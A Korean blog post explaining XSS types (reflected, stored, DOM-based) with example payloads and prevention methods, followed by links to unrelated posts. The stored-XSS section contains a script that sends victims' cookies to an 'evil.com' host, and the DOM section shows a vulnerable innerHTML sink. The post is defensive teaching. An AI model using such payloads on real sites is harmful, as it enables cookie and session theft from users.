보안

XSS(Cross-Site Scripting) 취약점

XSS(Cross-Site Scripting)는 웹 애플리케이션 보안에서 가장 일반적이면서도 위험한 취약점 중 하나입니다. 사용자의 입력을 제대로 필터링하지 않고 브라우저에 출력함으로써 악성 스크립트가 실행되며, 공격자는 이를 통해 쿠키 탈취, 세션 하이재킹, 피싱 등 다양한 공격을 수행할 수 있습니다.

1. XSS 취약점 개요

XSS(Cross-Site Scripting)는 공격자가 피해자의 브라우저에서 악성 스크립트를 실행하게 만들어 웹사이트의 권한을 탈취하거나 사용자 정보를 유출할 수 있는 웹 보안 취약점입니다.

주로 다음과 같은 상황에서 발생합니다:

  • 사용자 입력을 필터링하지 않고 그대로 HTML에 출력할 때
  • 신뢰되지 않은 데이터를 DOM에 삽입할 때
  • 외부에서 받아온 데이터를 HTML, JavaScript, CSS에 포함시킬 때

2. XSS 취약점 유형별 상세 설명

2.1 Reflected XSS (비저장형 XSS)

정의:
사용자의 요청(Request)에 포함된 악성 스크립트가 즉시 응답(Response)에 반영되어 실행되는 유형입니다.

특징:

  • 서버에 저장되지 않음
  • 공격자가 URL에 악성 스크립트를 포함시켜 피해자에게 전달
  • 주로 이메일, 메신저, 게시판 등에서 URL 클릭 유도

예시:

http://example.com/search?q=<script>alert('XSS')</script>

서버가 q 파라미터 값을 그대로 출력하면, 해당 스크립트가 실행됩니다.

2.2 Stored XSS (저장형 XSS)

정의:
공격자가 삽입한 악성 스크립트가 서버나 데이터베이스에 저장되어, 이후 페이지를 조회하는 사용자들에게 자동으로 실행되는 유형입니다.

특징:

  • 서버 또는 DB에 영구 저장
  • 여러 사용자에게 지속적으로 피해를 줄 수 있음
  • 게시판, 댓글, 사용자 프로필 등에서 자주 발생

예시:

<script>document.location='http://evil.com/steal?cookie=' + document.cookie</script>

이 스크립트를 게시글에 삽입하면, 그 글을 보는 모든 사용자의 쿠키가 공격자에게 전송됩니다.

2.3 DOM-based XSS (DOM 조작형 XSS)

정의:
서버를 거치지 않고 클라이언트 측 JavaScript가 DOM(Document Object Model)을 조작하는 과정에서 발생하는 XSS입니다.

특징:

  • 서버 응답이 아닌, 클라이언트 JavaScript 처리 과정에서 발생
  • URL 해시, 프래그먼트 등을 통해 자바스크립트가 직접 DOM을 수정할 때 발생

예시 (취약한 코드):

var userInput = location.hash.substring(1);  // #<script>alert(1)</script>
document.getElementById("output").innerHTML = userInput;

해당 페이지 URL에 #<script>alert(1)</script>를 붙여 방문하면, 해당 코드가 브라우저에서 실행됩니다.

3. XSS 방지 방법

  • 사용자 입력에 대한 입력 값 검증(Input Validation) 수행
  • 출력 시 HTML 이스케이프(Output Encoding) 처리 (<&lt;, >&gt; 등)
  • 자바스크립트에서 DOM 조작 시 textContent, innerText 등을 활용
  • HTTP 응답에 Content Security Policy (CSP) 적용
  • 사용자 세션 및 쿠키에는 HttpOnly, Secure, SameSite 속성 지정
  • WAF(Web Application Firewall) 및 보안 스캐너 도입

4. 구성도 예시

XSS 공격 흐름도

[사용자] → [악성 URL 클릭] → [웹 서버 응답] → [브라우저에서 스크립트 실행] → [사용자 정보 탈취]

또는, 저장형의 경우:

[공격자 → 게시판에 악성 스크립트 저장]  

[다른 사용자 → 게시판 열람]

[브라우저에서 악성 스크립트 실행]

[세션 탈취, 키로깅, 피싱 등]

5. 정리

  • XSS는 주로 사용자 입력값을 필터링 없이 출력할 때 발생
  • Reflected, Stored, DOM-based의 3가지 주요 유형이 있음
  • 유형에 따라 대응 방법이 다르지만, 공통적으로는 입력 검증 + 출력 인코딩 + CSP 적용이 중요
  • 웹 애플리케이션 개발 시 초기 설계부터 보안을 고려해야 함

zerg96

Recent Posts

타입스크립트 (TypeScript)

1. 타입스크립트 개요 타입스크립트(TypeScript)는 마이크로소프트(Microsoft)가 개발한 자바스크립트(JavaScript)의 상위 집합(Superset) 언어입니다.즉, 자바스크립트에 정적 타입(Static Type)을 추가하고,…

5개월 ago

노트북(윈도우)에서 아이폰 유선 테더링 하기

윈도우 운영체제의 노트북에서는 iPhone 유선 테더링이 잘 안되는 경우가 많습니다. 보통 iPhone의 드라이버가 설치가 안되있어서인…

6개월 ago

오라클 래치(Latch)

오라클 데이터베이스의 성능을 논할 때, 내부적으로 발생하는 경합(Contention)은 피할 수 없는 주제다. 특히 다수의 프로세스가…

7개월 ago

사장님도 3표, 나도 3표? ‘3%룰’ 완전 정복!

안녕하세요, 혹시 이런 생각해 본 적 없으신가요? "내가 투자한 회사는 누가 감시하고, 어떻게 운영될까?" 오늘은…

7개월 ago

Vector Store(벡터 스토어)

'벡터 스토어' 완벽 가이드: AI 시대, 데이터의 새로운 심장을 만나다 IT 업계는 인공지능(AI)이라는 거대한 패러다임의…

7개월 ago

Gemini CLI (재미나이 CLI)

1. Gemini CLI란 무엇인가요? Gemini CLI는 터미널 환경에서 직접 Gemini 모델과 상호작용할 수 있도록 만들어진…

7개월 ago